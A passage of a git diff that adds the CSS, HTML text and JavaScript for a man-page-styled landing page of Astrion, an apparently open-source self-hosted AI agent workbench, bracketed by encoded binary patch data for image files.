z5%$iQ)z~<%uC9_N@l;e-x0RraJW2>x+p6<;cGiX;trw_+XCJW3dx)0;2_^>fbp}S_ zdGo`st6GS-JD+??=7OUV6Z`tZ|K5qr+~t&uw;JdO6A}}3Yu#@OINsyqE05tckUZ#Z z+H%>tQ{lNP2`+TryIx02v#}_z6T2e~A2Asj>8GBZYDFu%E8{M&CX#{^tH}i`*2^cj zGNex8%R}U9oHsdi9+um+4D4;*N|T6}U1kk&KG^9J4G4Q!;~6O+R~OHB9O>(SeZ4@X z))Bhz$bvspQ#F>$a{&39snV5Lj+c&au8s`ZObNQ}G~$j9fR>J3%W|`dF$L8?lMAf@vX^cK95fKsT=;##a*0a9+@+OZT8)@Cv(&F~BLLTGS;dZdl z;{(NiYbq4Hov}RMWXCS3m(2clqj+Tdve&FhQaO!{8u$kS4$C~yo@YFQA7@Gk+kwt2nIQdkvhwg_s81RW##Kb>8~q4 z@>w00ICNYfUA|Z;6_qVgSp2=*(QbH$RSpRoBvq=5#eL?5S5nh_rx=jvS1 zLA$farxqd>2fTVXYh`ZTb-?Qh^V1TpsECR6>@SyMW+0gF&U#r?Tv-`6nXbd_xzhT2 z*!IOe^O1a1tNg7h?83nzPSH}pKka<|%WHIjHyikk+Lbb>;V$_A!=el7F@QdB%`!W? zxi~EJDHltI=p4E3lHX3^SAJ-r{CB$6`o0Yck79fL$`Vw*gv6L*P$ReIUTVkf({gizH?{l#(>T-(`Q7!tlGH2qGMd z&!SjRyu@S4C{|oarW`cOh#$@4!oOw$46dzA+&T=tPB|)KbNH>%=MSGmp?a-(>}_vm zrNim*F@fup!lt8XzDOi8Wgt<9#|n+X<`6d@rJthn!FZiiTDgaYeTp)tk@*>)sGSRZ zb{4zo+sY#f!uV>vMUbyxz%x`HZJUU@L1T-o}IjS&l92LPsH6PxcRuqNae?`zLd^} zF+1F4y4RKTNcl|sfV#Ql*$Y>r_s3_Yh-d5~+Q+ASz0@^F1S`CDr<%4vANIRSqO&6b zw_EGxi1*|8hjJ(Ppi-j7<>Yv5%S4WHv_AU29?hleKuRboD&ytk>56?&9-V12?v67e zA)nDvum+brv$kF%4sAiz!k0Z%<;}(A(U+UiJS@ut79;|)_p)T@B;qyWY^6ME zFFq@^gWWa*GgP{W+uXWjWKOLs4($F?0W%J_ZO>8VIKWcU#5N*mW~aWN;%QizrDxJ? z3LqE18$u~0==`cc$r;w(0(@aV4!vm-PHQWRUGW2ebg&`sW?9`~R8uooA1Sl4 zx3!Isl+Eg$H4GSa0_K&t`rhFxJ}E#C<5 zbg&OlDrX;%tzNyyAghIAaq7vpLRaML_%svJZ@Ig+a4&jwROpQ@0iz-|u9zHb2L5!s z5EtQNDl}|Qc%FR^POfYMqHQU%112B)>mq{)+{1b=FfSV!=&C)qc17V4;F_Mn3Bby4 ze{fQu{sR@tsF|N~WgjM)d_o#D4lKzCMkGQ<MymUd$2l)OrKitGN}?#X&FXK(^qKYU;|?S^^UP3Dgq>xUV+fv{0n1*Ay-JUR zj2Z^O#WV8smZO5ev=Owj&SQ;z{3h0!ZD#rQE7|}xNQ09x&2Hk4pcj{pZ<#uH^=pFDz#BN0aDaG z{a7ERo4}~agp2l%6#i`T@eRIx`}h(e;pf~u%iGw;5xwQsV=odO2Hd_H$8D)cIU>9# zYm|8`OzjX8!@0_umzyNy5k_N_O+{{K2@Xy*o<|@1?#--m(KzkfbAJkv`<-fWczBo= zK^<~1{49YVc1oNJwYF9Q9Rorx>1lO#SMS{HtdTXPt(U~jIU-8AG?vL91H8ttp3?Q1 zN%bWdZ_}@gRCoNCMC$)@r$DDJf;)vR`g1rFY8{Q9Q3mPevsYiHR#zQPjthawKvndv&`2t&DAB(|I%f<@Ia>ck;xL#zsXqFSU6n^f$ z8MtvtaVZ?1@kRV|UiWK_{c0E7o8O7yB)E?2=m4x8Zu>4WJu(O>Q>0I4eS8o?xPR^x zR7h+Jr4<9eLTLx1y2ySdtBiI~{s#*Xpf#|l_2J(f`;`Zr;W1qI8k&#^T~X}kBSw%rlBzt^aJb+qWYj_M|1dXQpD!?LQv@+WeEU?@i4zWJlJnjBM~JW80Hdbp;^OSTA%-eQM+D(U0WJnbR&|n2LQx^S+8n*njXNCjOPD4C z*sb!_bCSv$3{4R)g$#@NIJzgSV-gT;!ojTgDp zM|uBEjOPw@7P$nexcNU^qU=f!7wieZTy>(v!fm;XJjmi^rR{uI7|%f|(=;~ri?7ma zLORJ6qnM`}k~BcB`mFKUu`PDFWU0${%Vf4F?bj`qDA%`&V0npbum*=}=5E8?e9PVS z3FW>^1(Zo5PAVPOn^&PUp})l3$fbJh?OUK-o01s;EMbtl?k$Eh0MS~b%J4@gsbX`m zyotbPwGq|Sup@KPe{ek^A(-M3W2l7CA8~mY2;0te zGA(-T_g!+Kj4L;#4S2Ek(4l<~yR4$Fp#~@b4yrQSiBH78&U?MQRE0@tkIMV9`fwL~ zeFGHoDYg2wc9{Yf5%z5(;5w8#t?5#fr{VP3+WTB=Q zGzN1Y4O|av?r>S2b4685ta@W0xo$uO`AGST7^atnh3EVzgbvtsxC^Xm#T3|FwsyMu zJBaD7Wi9V+#PB&8kL?GQPGf`GZnzHwGJ%M>6_}DROe^(0yN`X1%2xyx0fXFK&3vur zmeFNW#NATbMkjS+iWyy@IUr?Gue0xI?YU(bke+T7TYRVVpsL~_R3$Ur`9el3R+j&~ z{-}5TaSjP*=`~kP+t9!hHnwNNPtA66vq-rNdqW6%lk=34^&3A>+cY_+n8RgLw0u!k zdv$652keiI`G}^C-tk(yVk9yMO6wH?$?mc0GLx=2A&0oqkJP>Q9u}5A^=)75Jt=eQ z&S#0{IErXs~{(0Ro*Q-*I>@2fP930)-^+qqRRO66VC{9>A0>TjI9hv_xr7d)CR{3F0p1RnPQ(10x#vVb6zk|6NI?1ES?a zx_=q4-3Z!qb77QU)y&R>?uW*VBTW^m)M01oi>#^f_<$F1F6*yF{iPJYAd zA3l8{ULPmmWW{GOAbrd{;a6Sl1`Zzc-N}QPaA@ZG^0lSv!5u(**##h2@MWfxO>q9< zjkB_{B4ijS&}AT91ZW$mE>R!S3!oH-qVCA+XFFIwGl~2HA7iZj_Imw^PPHRjqZNqf z(e+;S0Re4qPoHg%<}h(rue8O-D{QdEj-Z+LE`ZJBP1>w406IWii#fWq4Y*POBZGAX z^}BiSrug`EWqM_WH3(2wi4Sp)?4ls+BQ_TI<%tjYIsEza=OvgD1EUKf6xe{~j=p?! zc!;7yp6*4NTX5E2{( z>G=*Y6X~Rgq&Cxly9H8LVA4it=H=#=T7k)T7*|gqDQcF604U>yUMIp5#8AqFYNn6k z=b&smpwRmI^6O7tUS0*=u9Ry;$`45O=5Ht0Y*j0k;H9-<{u`!KJhH=)>^cHhfgbpjmpqeK1c`z_?RQ zLL9dH7%n5*4f}0S|H5ocik_6m+z?JJScvDipH*PBee=d^Z{urux$4H)%*WeIG~M+E zE!PydJHi>dx8}RC@vhqo!j@=zvlpDJ0wUlrwL!^nx~=ag*Y`pHz-=D5(avyi$Q}JA zwzjrjEvOTN5~06{jAQT}O|^sj_R-AO{3W6bJLCo0)NLmc)Y%?3IS z>Sq^Vb~f7;ZvqU7W(yXz!Y{C^K~uO&70@^)1l?}$FQ9S2U<0PcQD6ozeH_+>hy)6H z#_M6s1dZ{FjV%l&TdimcZok>|wp+gy5-?fk5U})WmYRA3kw_&^LsLTo?q}8d>i0s^ zITQ1bV3}Ju<6e8m{XBdsuRuENdhjc8AMTd5rp8_1AQ8q1N8v2Ze4(ld25H|%*D8xLG3Oc_5%sMR<&Xk&F3yCl|%>3|)SbxqHve^$gLqL@SQov=1 zdbs<@cE#zyI7{%Yntxop>h2`n~;j4$O&Bfa=xvJQ3$-x`?!% z0B0!h0+C3kYyAly^&xg}6sS}h>gupu=e!=~!t8){36rt>BZ8JT8J zk%2$pLz3T7RuFVj6A^-$>mr+q)d6!3Mkn{f6HN*1pFEt+yw_pI>`uU@Tvjs6mYrNaST*ce}Eoi zYaxAhRR``(?DjT3=Bq9VsOeG6*t2u@o#9df#0`~sBJ=TiaBwh2BhcEx#wPS*tT1hI z%@8aoO+jRGoSpi+aDxCM4%g2!kuESgemvt`<2^OPKf1e4 zLgU0+Qdm+h8!^h|Si`XsxoL8RO!NE&{7i|<4+$6!CCBv+>-+Lxd3VZ_pU_&EKH>ZK ze@43yHMf4ZwW21vQp%Ql2qB5kN-DGDA{{1AJOWM%=DI=CN!1)Nfa1t7v5=~N8 zcKY;biu_-Ah97ReX1|SH9H1 z%8V2x9K1CWeSC~}DTHtphG}V1%Xa+VUk>~noRUgX#>tjvIUyjpwY#MZ&+zseEv+=E zNxP|HbHZg|asH1Pul3RDjfFO@M|~qGZG5qq;vL9l^qy&2nvCAypGyy1#dR@}JbZk1 zj_yX57S_ZJbrPZ(l=xo^Jb&RrRh`qey;Fc0W&Bpl`{u@f=P-tAJu`~=`Kzg=12w=N z9F$m_Mf#2i{^I71KkE$B5>A7=QJnfiLruIqM!Q8&UwdBjtgF+Zu+pJegO4One@H{E z>3(@3f(c%RN;K@lq5I##Xzgfit)RisP;+5`nU&sGD(SS;WT`J9nVAIzA?|}`0W&;0 zf;;jQ70Cm@V(jdOldSag%*-s=8a&TWKHi+1*Vi|*q$NIbh1CsTr;|)NV_(q1#Aa^^ zUuetwJ}ZWA|2Grpdrp4~YYWfgSUZu03$Y zKTS{c){qx(}+aCX!%b)x5{js8A6MD3<6Y&yV+$i$95ykOa06; zRckXncVm#&3%v9Wce7AGtc4u*JE545Nd7%o!>+44K_xXhCUlKL@ODjRO}A#5)#mOl z-&&>P7(Yz84nK|x)s_y?@}!W=NlFtm4WQfEqY^z5hA^t=V$rC064|#*Lh0bbA-1|u zKfB91{442EtPcTf#3ZbEFI!J_!&VR`#x2iFI%fJ1?q5{Zpb6q2l3CFIHR#^6Xc=)+z zFZ8wp`P!Np_OVJ?3QQ9qzWxL}8DeyvOdL0}a&a1WFoghg*^e#1`uaBgd2&`P@Sf%9 z1Fz$n2PV>k=ul5>Vh(MM!dE{Q7$8CF|h$m;T8Dg6Z zY%-)t3v_DBAWXp7X4*_@Wn~4Fzu(~A()IpSl2dkmpjS!ZvxIbYOhyJJ0ohXS70z5% zRyJv^F>ufKI3v7Mjtu_#XZdsRF$#pNJ=sPbym^|LuyGHlQg%Ddw)YQMqGRJVUyL-M zN=%Ewh=`)zy*mvLuYsEaoV#&w-N8hdLF7|`E?5fgW!f)~uXc~Q?MN;xfforz`!=&0 zqjGkihTCRJ6DVR>)U(q(m#r637FXr2cSGd@AyPVottq~rAa~SmuJe)W_CKow;3>kU zUaVx{)wSFn&k&;7;8%OFO~zg5)f`BAaXu6x#+! zgB%W&Ps$J{22G6x<%s9l{?+G~iFHaGWs1|<3?)XLH(`(1klMgvx3)J!SJU1}enD31 zTUexu(_Q@LGA~HCE-InD4kep87hL3rLO{mA1n` z<38S-4gt>cTw6HQ0kyERMqYd7cP070r&cJ9@3nh^?)!aNbsnzmKM@jPj1#I+to0qw zEv$!&mAT}AKKyjW%*cpty%T~_HIe3vQy56>Awy+$^;x;DZk)tY)XzEK_VywmG7ng9 zxt4u2BXvgyp!zou4EI(Bok(*qnTTEU6_;)(X$C75TR>|9J%xVDFLG$PK36G@RUs_~ zzD@plY0-stz}F${+^4}}G%h+2b)`B~jqzQE@tpA-^>wsSWmasgZ$Yy47k+V{(NFf< zk+w1v;KK)z zo$%MV&|X!K;di(@+hSvDADB#)>)HWT4a`7wUCe;m23;`difWOw#Oyl2p?o)R95;xx zU*rP$ADmz*qOkH!$igGEt*I46YJ&8TnGSmdIU8>6#u_Ry? zt_M4b;5{i5%hgpO2j>o)!LpD}E2HX#uTJM_&FxS6)X1YT^W90yM{u1;D4RF7%0q}K zD7?18KMj>GL&jk>3IyE+as(^XesbemQt-c8+vmN}K0XaFk^>PmXr;6lKQlO4HNA8{ zu^88V(i<8cj!LNXa#$b00##JOYN@BTy7Eyyq@Q|Tdw1buieNR#zjl4~ z-7qNKo|sx&)3Z7rp7RIeM|SOER-m3krpV6bPLy8xW*#a-#-i`ryPzPX{tzlxW?5yL zK|1E4p8Ez*x%pU`$AP01#P^iADnmbt^o6zn#FM@yB~mLxJCKRhOJoHO3BM;B!1%H^ zUpAIs2B*^=$%ZEyBg^8K{n@qMAO+DKaz&x|hfvJKGH@_4bUlH#UisV0N|WyL-a1<> z8q9dow7@rm%jKEvTA3Cn6 zz4K1)a&`n&&)JLDDS_~yt5EHjr<^m$s#7c)a?Yzuv(Tl4-^B@3basZ_134xk(2$YJ zy%>XC>H2ji32`nl>)&6BSaBPZKJoDui(IqmW94!jvjT8N^0Z2Kz>g7_B`PV-oC4J` zm9`)6{Wy>^eT^>N3~Q326NqHf#1m2#GiBreNCK9u^=JhSIJHpod(AFGrk&h00RCW) zu^b>}2LK&NB4G5WWotGr2r|p|{$gbdpzy#2WzrrYVH;QT9t_x6{0thNYPr-_IjkBC z<7bYoai^hmG%+*#O71i>U9fkMr74DOdl!_&w}+FWY`COY&5m-kfb97JMbwsljm6rAqw|CnP_cnp$ ziCW>CuVsy0{YbFr>NN#Cs-R#3da)UmO8cczBXHr>I2b>=*!!bWT_Rk=A!U{>%{^yG>SL7ANd6m+OfHBL%?Rs@_aKEtz9WzPnR!&^}0avgWXK zn7QRP|HEhdQX?BGO_uGQ37FvGqiBQC3Re`3TI0eI5?pozD{#}bhtUU-acJGwW%uez zyoKIpQDW4k@)E`uJxYjqHBEK1c`gh_adb@3d!2_t%CK@YJMospet2*l1rmQkiXjzC zqn-RZg|NbvOs}A1syc4S&(q0xjf3%W1US+xS3>1=lUCeHtsZX|1T6M<@665g!CjP| z-aJ94*8Dkk33+&QR>0A8FjJ1>$UQ@W3LG|k2iVoKJ3*<;Wz=qZcn)D|1iA;vA#|D= zjTD2fK9X{#GqwbFw!z>sE_x)-w9xMvqzHG7D!)tgZ3pi<9hNAL{`tCtxIu^6CFKVX zAbSzDBt?jLao=ims7)~g{DVPZF0bjlyC%f62F4U`AQcYd0!da6^}NqjJFZtbFNXb; zZN?XW`c1`H_ncq%SJ+Mxcd@EkS_Wz@FS~6F^=VEPcd?sT%r<75VB^}$4lxa{^SVLy z+myC&Onq4=Ub4M_jipIvQBch+F48^!x}7YGO(nT34lV__quox3mkpixs$%q!SR_fM zS0eEjw0n`{SG2$?Nc$D+L3idQ;xBd_lq6V5fI$D~#w0lEDzns!-;`om0L@5S6 zrT^&lc52mnip-SRh*td-B}!$VWzT#?eV5Yqu(1u`hb2|G`!yk?)u1J0@SA!LETO@{ zpzBQjLjI%JesKzZh0%}cVwEGV1X82Y*}T%(h==v5e`GnWC!t-pY0sxmZUt0HGz_ZN z-#u(&)vdDyS~?6w+M+pk=@sm7pqW~0lMB;5$ujy*{?r<=;4l3k;vq0M>R z)TL^($!oKD$$pbFw9NW@3;Bz*kZq+KcYqM*Ut?#Rt%A(Oj^J`21@&U*OBpox$fw71YmbyVoaXN@ zzTsx}AaYricC#uicV=#mc~PG8o;tpiWn=OcGnat^q4(DnmdSwu-i)%Gw5T83J`n&y za5Q&!clURVH8hNj3=ZCpObm$h^$iM&)RxwiMc+h%eipvIOjY1p+5gt`?0?ch9$xzY zjWxN{K_*+}b!Y91o1163J^_SLgGX(_*_DVD?~s!4m(&J<{jG2e%9aR z*f5LV#0USP)~61cfd_P%s5SE<;@_!MB@g~fx^i>rI{q2tgSYm&g*zn<_dN=+?3ln)n(0C)UrfS02JNpH@qxK;9Rf_rG=- z&k9I)AuituRE6e-0|wk8f5P1Am6DwH=X3ioX0$L{_fj?WrQM(6zs$jvn#% z7UGigo~v;{v{ZIeSX3 WX4S^QXW_4+O5(Y!X#Uez-v0;s_NzMp literal 0 HcmV?d00001 diff --git a/website-design/v3-terminal/css/style.css b/website-design/v3-terminal/css/style.css new file mode 100644 index 00000000..c5e9660f --- /dev/null +++ b/website-design/v3-terminal/css/style.css @@ -0,0 +1,188 @@ +/* ============================================================ + Astrion 官网 · 版本三:终端极简(man page 手册风) + ============================================================ */ +:root { + --paper: #fcfcfa; + --ink: #171512; + --ink-soft: #6b6559; + --line: #d9d5ca; + --accent: #c2480f; + --mono: "IBM Plex Mono", "SF Mono", Menlo, monospace; + --sans: "Noto Sans SC", "PingFang SC", system-ui, sans-serif; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } +html { scroll-behavior: smooth; } +body { + background: var(--paper); + color: var(--ink); + font-family: var(--sans); + font-size: 15px; line-height: 1.8; +} +::selection { background: var(--accent); color: #fff; } +.mono { font-family: var(--mono); } +.hidden { display: none !important; } + +.page { max-width: 860px; margin: 0 auto; padding: 0 28px 60px; } + +/* ---------- man 顶条 ---------- */ +.manbar { + display: flex; justify-content: space-between; + padding: 14px 2px; + border-bottom: 1px solid var(--ink); + font-size: 12.5px; letter-spacing: .06em; +} +.manbar-c { color: var(--ink-soft); } + +/* ---------- Hero ---------- */ +.hero { padding: 54px 0 10px; } +.hero-row { display: flex; align-items: center; gap: 22px; } +.hero-mark { width: 74px; height: 74px; flex-shrink: 0; } +.hero-mark .hex { fill: none; stroke: var(--ink); stroke-width: 8; } +.hero-mark .eye { stroke: var(--accent); stroke-width: 9; stroke-linecap: round; } +.hero-title { + font-family: var(--mono); font-weight: 600; + font-size: clamp(40px, 6vw, 60px); letter-spacing: .02em; + line-height: 1; +} +.hero-tag { margin-top: 10px; color: var(--ink-soft); font-size: 15px; } + +.man-sec { margin-top: 34px; } +.man-sec h2 { + font-size: 13px; font-weight: 600; letter-spacing: .3em; + border-bottom: 1px solid var(--line); padding-bottom: 6px; +} +.indent { padding: 14px 0 0 26px; } + +/* 安装 tab + 代码块 */ +.install-tabs { display: flex; gap: 0; margin-bottom: -1px; position: relative; z-index: 1; } +.it { + border: 1px solid var(--line); border-bottom: none; + background: var(--paper); color: var(--ink-soft); + padding: 6px 18px; font-size: 12.5px; cursor: pointer; + font-family: var(--mono); +} +.it:first-child { border-radius: 6px 0 0 0; } +.it:last-child { border-radius: 0 6px 0 0; border-left: none; } +.it.active { color: var(--ink); font-weight: 600; box-shadow: inset 0 2px 0 var(--accent); } +.code { + position: relative; + border: 1px solid var(--line); + background: #f4f2ec; + padding: 18px 20px; font-size: 13px; line-height: 1.8; + overflow-x: auto; border-radius: 0 6px 6px 6px; +} +.code .cmt { color: var(--ink-soft); } +.copy-btn { + position: absolute; top: 10px; right: 10px; + border: 1px solid var(--line); background: var(--paper); + font-size: 11px; padding: 3px 10px; cursor: pointer; + color: var(--ink-soft); border-radius: 4px; + transition: all .15s; +} +.copy-btn:hover { color: var(--accent); border-color: var(--accent); } +.copy-btn.copied { color: #3d7a4e; border-color: #3d7a4e; } + +/* ---------- 分隔线 ---------- */ +.rule { border: none; border-top: 1px solid var(--line); margin: 54px 0 0; } + +/* ---------- 章节公共 ---------- */ +.sec { padding-top: 44px; } +.sec-h { + font-size: 13px; font-weight: 600; letter-spacing: .3em; + display: flex; align-items: baseline; gap: 14px; flex-wrap: wrap; +} +.sec-note { + font-family: var(--sans); font-weight: 400; font-size: 13.5px; + letter-spacing: 0; color: var(--ink-soft); +} + +/* ---------- 模式演示 ---------- */ +.mode-board { margin-top: 26px; border: 1px solid var(--line); padding: 8px 22px 18px; } +.mode-group { + display: flex; align-items: center; gap: 8px; flex-wrap: wrap; + padding: 12px 0; border-bottom: 1px dashed var(--line); + font-size: 13px; +} +.mode-group:last-of-type { border-bottom: none; } +.mg-label { width: 96px; color: var(--ink-soft); flex-shrink: 0; } +.mg-opt { + border: 1px solid var(--line); background: var(--paper); + padding: 3px 12px; font-size: 12.5px; cursor: pointer; + font-family: var(--mono); color: var(--ink); border-radius: 4px; + transition: all .15s; +} +.mg-opt:hover { border-color: var(--accent); } +.mg-opt.active { background: var(--ink); color: var(--paper); border-color: var(--ink); } +.mode-verdict { + margin-top: 16px; padding: 12px 16px; + background: #f4f2ec; border-left: 2px solid var(--accent); + font-size: 12.5px; color: var(--ink-soft); line-height: 1.8; + min-height: 46px; +} + +/* ---------- 实拍 ---------- */ +.shot { margin-top: 26px; } +.shot img { + width: 100%; display: block; + border: 1px solid var(--line); +} +.shot figcaption { margin-top: 10px; font-size: 12px; color: var(--ink-soft); } + +/* ---------- 能力清单 ---------- */ +.flist { margin-top: 22px; list-style: none; } +.flist li { + display: flex; gap: 12px; align-items: baseline; + padding: 13px 2px; border-bottom: 1px solid var(--line); +} +.flist li:last-child { border-bottom: none; } +.mk { color: var(--accent); flex-shrink: 0; font-size: 13px; } +.flist b { font-weight: 700; white-space: nowrap; } +.flist .desc { color: var(--ink-soft); font-size: 14px; } +.flist .desc::before { content: "— "; color: var(--line); } +.tag-beta { + font-style: normal; font-size: 10px; + border: 1px solid var(--accent); color: var(--accent); + padding: 0 5px; border-radius: 3px; vertical-align: 1px; +} + +/* ---------- 安全表 ---------- */ +.stable { + width: 100%; margin-top: 24px; + border-collapse: collapse; font-size: 13px; + border-top: 1.5px solid var(--ink); border-bottom: 1.5px solid var(--ink); +} +.stable th { + text-align: left; font-weight: 500; color: var(--ink-soft); + padding: 10px 12px; border-bottom: 1px solid var(--line); + font-size: 12px; letter-spacing: .1em; +} +.stable td { padding: 13px 12px; border-bottom: 1px solid var(--line); vertical-align: top; } +.stable tr:last-child td { border-bottom: none; } +.stable td:first-child { font-weight: 600; } +.sec-foot { margin-top: 14px; font-size: 13px; color: var(--ink-soft); } + +/* ---------- SEE ALSO ---------- */ +.seealso { margin-top: 18px; list-style: none; columns: 2; font-size: 13px; } +.seealso li { padding: 5px 0; } +.seealso a { color: var(--ink); text-decoration: none; border-bottom: 1px solid var(--line); } +.seealso a:hover { color: var(--accent); border-color: var(--accent); } + +/* ---------- Footer ---------- */ +.footer { margin-top: 60px; border-top: 1px solid var(--ink); padding-top: 18px; font-size: 12.5px; } +.foot-row { display: flex; justify-content: space-between; flex-wrap: wrap; gap: 10px; } +.foot-links { display: flex; gap: 20px; } +.foot-links a { color: var(--ink); text-decoration: none; } +.foot-links a:hover { color: var(--accent); } +.foot-line { margin-top: 12px; color: var(--ink-soft); } +.foot-man { margin-top: 4px; color: var(--ink-soft); text-align: center; letter-spacing: .1em; } + +/* ---------- 响应式 ---------- */ +@media (max-width: 640px) { + .manbar-c { display: none; } + .seealso { columns: 1; } + .indent { padding-left: 12px; } + .flist li { flex-wrap: wrap; } + .flist .desc { flex-basis: 100%; padding-left: 34px; } + .flist .desc::before { content: ""; } +} diff --git a/website-design/v3-terminal/index.html b/website-design/v3-terminal/index.html new file mode 100644 index 00000000..c93f165d --- /dev/null +++ b/website-design/v3-terminal/index.html @@ -0,0 +1,184 @@ + + + + + + ASTRION(1) — 自托管智能体工作台 + + + + + + + +
      + + +
      + ASTRION(1) + General Commands Manual + ASTRION(1) +
      + + +
      +
      + +
      +

      astrion

      +

      星尘聚合,即成智能体。— 开源、自托管、数据不出本机。

      +
      +
      + +
      +

      NAME

      +

      astrion — 住在你机器上的智能体团队:普通对话、多智能体团队、工作流、技能包。

      +
      + +
      +

      SYNOPSIS

      +
      +
      + + +
      +
      # 克隆并初始化(向导:模式 → 端口 → 管理员 → 模型)
      +git clone https://github.com/JOJO6618/astrion.git
      +cd astrion && ./setup.sh
      +
      +# 构建前端并启动 → http://localhost:8091
      +npm install && npm run build
      +python -m server.app
      + +
      +
      + +
      +

      FORMS

      +

      [*] Web 界面    [*] CLI(开发中)    [*] Android

      +
      +
      + +
      + + +
      +

      CONCEPTS — 四组正交开关,定义行为边界(可点击)

      +
      +
      + 部署模式 + + +
      +
      + 权限模式 + + + + +
      +
      + 执行环境 + + +
      +
      + 运行模式 + + + +
      +

      +
      +
      + +
      + + +
      +

      SCREENSHOT — 经典主题主界面

      +
      + Astrion 经典主题主界面 +
      fig.1 — 输入栏底行即控制台:对话类型 / 运行模式 / 权限 / 执行环境
      +
      +
      + +
      + + +
      +

      FEATURES — 一支团队,而不只是一个对话框

      +
        +
      • [*]多智能体团队Team Leader 率领角色团队协作;预置 5 角色(全栈 / 评审 / 调研 / UI 操作 / 头脑风暴),可自建。
      • +
      • [*]三层资产安全网版本控制按消息打检查点;修改留痕落盘可 git apply 恢复的 diff;Git 状态栏实时盯梢。
      • +
      • [*]快捷窗口待办 / 子智能体 / 后台命令 / 文件记录 / 工作流,五窗实时看板。
      • +
      • [*]工作流与技能包内置 4 个工作流、12 个技能包;流程与经验皆可沉淀复用。
      • +
      • [*]目标模式 BETA给出长期目标,自动逐轮推进,审核智能体把关,触顶或达成才停。
      • +
      • [*]MCP 扩展接入任意 MCP 工具服务;host 模式下对它说一句「帮我配置 xxx」即可装好。
      • +
      +
      + +
      + + +
      +

      SECURITY — 安全这件事,我们说实话

      + + + + + + + + + +
      平台沙箱实现安全水位
      WindowsWSL2[OK]   完全数据隔离,需先安装 WSL2
      macOSsandbox-exec[WARN] 可限制写入;全局可读,无法防止数据泄露
      Linuxbwrap+seccomp[UNTESTED] 尚未实测,请勿依赖其隔离性
      +

      叠加路径授权最小化 + 网络受限 + 批准模式,才是完整防护姿势。

      +
      + +
      + + +
      +

      SEE ALSO

      + +
      + + +
      +
      + © 2026 Astrion · Open Source + + GitHub [↗] + 文档 + 更新日志 + +
      +

      星之子,星际粒子。把人类意图传递到工具、文件与终端之间。

      +

      ASTRION(1) · 2026-08 · 第 1 版

      +
      + +
      + + + diff --git a/website-design/v3-terminal/js/main.js b/website-design/v3-terminal/js/main.js new file mode 100644 index 00000000..b66fc220 --- /dev/null +++ b/website-design/v3-terminal/js/main.js @@ -0,0 +1,69 @@ +/* Astrion 官网 · 版本三交互 */ + +// ---- 复制命令 ---- +document.querySelectorAll('[data-copy]').forEach((btn) => { + btn.addEventListener('click', async () => { + const text = btn.getAttribute('data-copy'); + try { await navigator.clipboard.writeText(text); } catch {} + btn.classList.add('copied'); + const old = btn.textContent; + btn.textContent = 'copied ✓'; + setTimeout(() => { btn.classList.remove('copied'); btn.textContent = old; }, 1500); + }); +}); + +// ---- 安装 tab ---- +document.querySelectorAll('.it').forEach((tab) => { + tab.addEventListener('click', () => { + document.querySelectorAll('.it').forEach((t) => t.classList.remove('active')); + tab.classList.add('active'); + const target = tab.getAttribute('data-tab'); + document.getElementById('qsHost').classList.toggle('hidden', target !== 'host'); + document.getElementById('qsDocker').classList.toggle('hidden', target !== 'docker'); + }); +}); + +// ---- 四组模式演示 ---- +const modeState = { deploy: 'host', permission: 'approval', exec: 'sandbox', work: 'plan' }; + +const verdictText = () => { + const work = { + plan: 'AI 只制定计划并与你讨论,批准后自动转入执行', + ask: 'AI 先与你确认方案细节,再动手', + execute: 'AI 自行补全细节,直接开工' + }[modeState.work]; + const perm = { + readonly: '只能读取与检索,一切写入被直接拒绝', + approval: '命令先在只读沙箱试跑,写入需你逐次点头', + auto: '写入由自动审批智能体替你把关,你可随时接管', + unrestricted: '工具不做拦截,直接执行' + }[modeState.permission]; + const exec = modeState.exec === 'sandbox' + ? '命令约束在 OS 沙箱内,读写边界由路径授权限定' + : '命令直接在宿主机执行,无沙箱兜底(高风险)'; + const deploy = modeState.deploy === 'host' + ? '数据存在本机 ~/.astrion,命令跑在宿主机' + : '数据存在服务器,每个用户一个独立容器'; + + let extra = ''; + if (modeState.work === 'plan') extra = ' ;; 注意:计划模式下权限与执行环境已锁定为只读+沙箱'; + if (modeState.exec === 'direct' && modeState.permission === 'unrestricted') extra = ' ;; 警告:无限制+直连 = 裸奔'; + + return `$ astrion --explain\n=> ${deploy};${exec}。${work};${perm}。${extra}`; +}; + +const verdictEl = document.getElementById('modeVerdict'); +const renderVerdict = () => { verdictEl.textContent = verdictText(); }; + +document.querySelectorAll('.mode-group').forEach((group) => { + const key = group.getAttribute('data-group'); + group.querySelectorAll('.mg-opt').forEach((opt) => { + opt.addEventListener('click', () => { + group.querySelectorAll('.mg-opt').forEach((o) => o.classList.remove('active')); + opt.classList.add('active'); + modeState[key] = opt.getAttribute('data-v'); + renderVerdict(); + }); + }); +}); +renderVerdict();

      $z5o zx5SlABP*7}IETYDQ#I>pR0yqof_m!V&LO|=7=y_5R*S6KksyZ`R_#X+4EYxeDz1ij zCJFRqcqY2%lyknTNY0 zBO6QE4=37;qav!Tk3<%Y53PqMBf3geyq_+C zHT!ppfD6k%&Pp0}m&Fx&O+M7ZUPxuZ#j&HRp*z}lo$59CV`U`qZ6N}l635%WTSiiO z7=-gNKCOHv8DW7X^)sba%>L;75c~d+XJIzmCQm4@(Lz_Crrl*mG7G;gD={DXdTO&F zM7~EW)` zH505V4G^6DFmXwKu#?NN6RtYl0f-KSUM-Wd7Sldy(7yh!pncC=Q9SRwfTfiRUByNr zCGOgWhdY)xH!F>l5P7Rs5F#6HwcC~013lRlyYu?18fsVgCiW7i3WgZ)(CTlrxy8nM z=s_!uA>+w}^oFEyX7>*d(Kd(>nJqgi0QLmPplg|7V@KzVUSwWUs~h*;(S%%mI%Rom z-@!8v*s@eOqPf`jotv#GbNCbPev5=Nq4yCGSi+wPQ-0ojAR510&V}B={uIB+D)S?U zvHVVTpF{)6-fwK)ZeVr-&cW`*oZP4CpA6(~X34Gw6_s&Zc+!n7H;LEC5qWaFzXP+> z!WlF^N2HtgIDVB*CX#$W*_2gQ0?X-!waxYf9 zq%23CuhGT{soT$^@rr5x_bPFy1-^XN4roW!2sZCax>}{appE~g#;H%M^u5K;x1hI6 zsy!4h!Mc(&t!vMN+nO!}_J3V`a3Ug0CR~_irc*)>7MbKh6h`7{?v&1pSOr!TIx*KM zc9bUBoP2+}a4N(q*qss1>D*3|DAUId`UUxlrQW!gCm+Xv3E14c@v83ZJ`IkNk7^J7 z8HzOEJKj8UJKooVAJ%xM`ZBb2dfk;d*yVpX0C97K8bKJ~)yRdrPud@@xFlUx 